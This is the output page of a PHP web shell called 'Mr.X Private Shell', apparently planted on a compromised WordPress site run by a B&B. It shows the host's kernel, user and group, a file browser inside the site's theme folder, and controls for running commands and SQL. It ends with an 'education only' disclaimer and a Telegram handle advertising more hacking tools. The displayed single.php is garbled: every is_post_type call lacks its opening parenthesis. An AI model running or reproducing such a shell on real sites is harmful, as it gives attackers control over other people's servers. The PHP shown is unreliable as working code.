Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/old/////wp-content/themes/B&B Villa Dalegno/      ( Reset | Go to )
File Name: single.php
Edit
<?php
    
    
if ( is_post_type"testimonial" )) {
        
load_template(get_template_directory().'/single-testimonial.php');
    }
    
    elseif ( 
is_post_type"accommodation" )) {
        
load_template(get_template_directory().'/single-accommodation.php');
    }
    
    elseif ( 
is_post_type"event" )) {
        
load_template(get_template_directory().'/single-event.php');
    }

    elseif ( 
is_post_type"booking" )) {
        
load_template(get_template_directory().'/single-booking.php');
    }

    else {
        
load_template(get_template_directory().'/single-default.php');
    }

?>

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL